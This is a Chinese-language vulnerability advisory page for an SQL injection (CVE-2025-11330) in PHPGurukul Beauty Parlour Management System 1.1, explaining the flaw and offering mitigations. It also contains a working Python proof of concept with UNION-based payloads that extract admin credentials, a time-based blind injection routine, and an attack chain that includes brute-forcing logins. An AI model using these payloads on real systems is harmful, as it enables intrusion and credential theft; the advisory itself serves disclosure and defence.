IPBUF安全漏洞报告
English
CVE-2025-11330 CVSS 6.3 中危

CVE-2025-11330 PHPGurukul美容院管理系统SQL注入漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-11330
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Beauty Parlour Management System

相关标签

SQL注入PHPGurukulBeauty Parlour Management SystemCVE-2025-11330Web应用漏洞中危漏洞远程利用PHP

漏洞概述

CVE-2025-11330是PHPGurukul美容院管理系统(Beauty Parlour Management System)1.1版本中存在的一个SQL注入漏洞。该漏洞位于管理后台的/admin/sales-reports-detail.php文件中,由于对用户输入的参数fromdate(起始日期)和todate(结束日期)未进行充分的过滤和参数化处理,导致攻击者可以通过构造恶意的SQL语句注入到后台数据库查询中,从而实现未授权的数据访问、篡改或删除操作。该漏洞可以远程利用,攻击复杂度较低,仅需要低权限认证即可发起攻击。由于漏洞利用代码已被公开披露,任何具备基本技术能力的攻击者都可以利用此漏洞对目标系统造成损害。该漏洞的CVSS 3.1评分为6.3分,属于中危级别,对系统的机密性、完整性和可用性均会造成低程度的影响。PHPGurukul美容院管理系统是一款用于管理美容院日常运营的开源Web应用程序,包括客户管理、预约管理、销售报表等功能模块。该系统的销售报表详情页面是管理员常用的功能,因此一旦该页面存在SQL注入漏洞,将对美容院的核心业务数据安全构成严重威胁。

技术细节

该漏洞的根因在于/admin/sales-reports-detail.php文件在处理销售报表查询请求时,未对fromdate和todate参数进行严格的输入验证和参数化查询处理。具体而言,当管理员或具有低权限的用户访问销售报表详情页面并提交日期范围查询时,系统直接将用户输入的fromdate和todate参数拼接到SQL查询语句中,而没有使用预编译语句(Prepared Statements)或适当的转义函数(如mysqli_real_escape_string等)。攻击者可以通过在日期参数中注入SQL元字符(如单引号'、注释符--、UNION关键字等)来构造恶意查询。

例如,正常的查询语句可能为:
SELECT * FROM sales_reports WHERE date BETWEEN 'fromdate' AND 'todate'

攻击者可以将fromdate参数设置为:
' UNION SELECT 1,username,password,4 FROM admin_users-- -

从而将原始查询变为:
SELECT * FROM sales_reports WHERE date BETWEEN '' UNION SELECT 1,username,password,4 FROM admin_users-- -' AND ''

这种注入方式可以绕过认证机制获取数据库中的敏感信息,包括管理员凭据、客户数据等。攻击还可以进一步利用数据库的特性(如MySQL的LOAD_FILE()、INTO OUTFILE等)进行文件系统操作,甚至通过堆叠查询执行多条SQL语句。漏洞利用无需用户交互,攻击复杂度低,远程即可发起攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标系统运行PHPGurukul美容院管理系统1.1版本,通过访问/admin/sales-reports-detail.php页面确认销售报表功能的存在。
STEP 2
步骤2:获取低权限凭证
攻击者通过暴力破解、社会工程或其他途径获取系统的低权限管理员账号,或者利用系统默认凭证登录管理后台。
STEP 3
步骤3:登录管理后台
使用获取的凭证登录到/admin/index.php管理页面,建立有效的会话Cookie。
STEP 4
步骤4:构造SQL注入Payload
在fromdate或todate参数中注入恶意的SQL语句,如UNION SELECT查询,用于提取数据库中的敏感信息。
STEP 5
步骤5:发送恶意请求
向/admin/sales-reports-detail.php发送带有注入Payload的GET或POST请求,利用服务器未参数化的SQL查询执行恶意SQL。
STEP 6
步骤6:数据提取与利用
从数据库响应中提取管理员密码哈希、客户个人信息、财务数据等敏感信息,或进一步利用进行权限提升和系统控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11330 - PHPGurukul Beauty Parlour Management System 1.1 # SQL Injection PoC via fromdate/todate parameters # File: /admin/sales-reports-detail.php import requests # Target configuration TARGET_URL = "http://target-site.com" LOGIN_URL = f"{TARGET_URL}/admin/index.php" INJECT_URL = f"{TARGET_URL}/admin/sales-reports-detail.php" # Admin credentials (need low privilege access) USERNAME = "admin" PASSWORD = "admin123" # Create session to maintain cookies session = requests.Session() # Step 1: Login as admin login_data = { "username": USERNAME, "password": PASSWORD, "submit": "" } session.post(LOGIN_URL, data=login_data) # Step 2: Exploit SQL Injection via fromdate parameter # Payload to extract database version sql_payload_fromdate = "' UNION SELECT 1,version(),database(),4,5-- -" # Payload to extract admin credentials sql_payload_todate = "' UNION SELECT 1,username,password,4,5 FROM tbladmin-- -" # Step 3: Send injection request params = { "fromdate": sql_payload_fromdate, "todate": sql_payload_todate } response = session.get(INJECT_URL, params=params) print("[*] Response status:", response.status_code) print("[*] Response body:", response.text[:2000]) # Alternative: Boolean-based blind SQL injection def blind_sqli(session, url, param_name): """Time-based blind SQL injection to extract data character by character""" result = "" for position in range(1, 50): for char_code in range(32, 127): # MySQL time-based blind injection payload payload = f"' AND IF(ASCII(SUBSTRING(database(),{position},1))={char_code},SLEEP(2),0)-- -" params = {param_name: payload, "todate": "2025-01-01"} import time start_time = time.time() session.get(url, params=params) elapsed = time.time() - start_time if elapsed >= 2: result += chr(char_code) print(f"[+] Found character at position {position}: {chr(char_code)}") break else: break return result # Uncomment to run blind SQLi extraction # db_name = blind_sqli(session, INJECT_URL, "fromdate") # print(f"[+] Database name: {db_name}")

影响范围

PHPGurukul Beauty Parlour Management System 1.1

防御指南

临时缓解措施
在等待官方修复补丁发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)规则阻止包含SQL关键字(如UNION、SELECT、--等)的请求;2)在Web服务器层面限制/admin/sales-reports-detail.php的访问,仅允许可信IP地址访问;3)修改源代码,对fromdate和todate参数进行严格的日期格式验证,确保输入符合预期格式(如YYYY-MM-DD);4)使用mysqli_real_escape_string()函数对输入参数进行转义处理;5)将数据库用户的权限降至最低,禁用LOAD_FILE()、INTO OUTFILE等危险函数;6)监控数据库日志,及时发现异常的SQL查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表